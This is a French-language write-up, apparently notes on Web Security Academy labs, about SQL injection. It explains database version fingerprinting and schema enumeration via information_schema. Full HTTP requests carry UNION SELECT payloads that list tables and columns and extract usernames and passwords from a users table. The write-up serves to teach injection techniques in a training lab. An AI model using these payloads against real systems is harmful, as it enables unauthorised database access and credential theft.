Description
Pour exploiter des failles SQL, il est parfois nécessaire de récupérer des informations sur la base de données.
- Son type
- Sa version
- Ses tables
- les colones que les tables contiennent
Déterminer la version
Par exemple pour déterminer la version dans MySQL l’injection est :
' UNION SELECT @@version--
NB : La version est une string, il faut donc utiliser une colone correspondante pour pouvoir afficher la version
Exemple :
GET /filter?category=Lifestyle'+UNION+SELECT+version(),NULL+--+ HTTP/2
Host: 0a2900aa04c2cc68827b847d005900f2.web-security-academy.net
Cookie: session=vGMsMRJCtLPu9AiH0vijRdZCFITqlTTA
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Lister le contenu d’une base de données
La plupart des bases de données ont plusieurs moyens d’afficher les informations de la structure. (excepté ORACLE)
Par exemple, avec information_schema.tables ont peut afficher la liste des tables dans la base de données.
SELECT * FROM information_schema.tables
NB: table_name est la string utilisé pour afficher le nom des tables
Cette exemple montre 3 tables appelé Products, Users, Feedback.
Vous pouvez avec information_schema.columns afficher les colones d’une table spécifique.
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Ce qui nous donne :
NB: column_name est la string utilisé pour afficher le nom des tables
Exemple
Je commence par recherche le nombre de colones, une fois déterminer je cherche une colone permettant d’utiliser une string.
Ensuite, je recherche la liste de tables :
GET /filter?category=Accessories'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables+-- HTTP/2
Host: 0acb005303973b63868dfefa003c00ab.web-security-academy.net
Cookie: session=VpX8o8felPCIhJgmcW2AQjc3ORKKeW8j
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Je liste les tables que je pense intéressantes :
- users_xawwly
- pg_users
- pg_users_mapping
GET /filter?category=Accessories'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name+=+'users_xawwly'+-- HTTP/2
Host: 0acb005303973b63868dfefa003c00ab.web-security-academy.net
Cookie: session=VpX8o8felPCIhJgmcW2AQjc3ORKKeW8j
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Ce premier résultat me donne des noms de colones intéressant :
- username_ixynye
- password_eveciy
GET /filter?category=Accessories'+UNION+SELECT+username_ixynye+||+'~'+||+password_eveciy,NULL+FROM+users_xawwly+-- HTTP/2
Host: 0acb005303973b63868dfefa003c00ab.web-security-academy.net
Cookie: session=VpX8o8felPCIhJgmcW2AQjc3ORKKeW8j
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7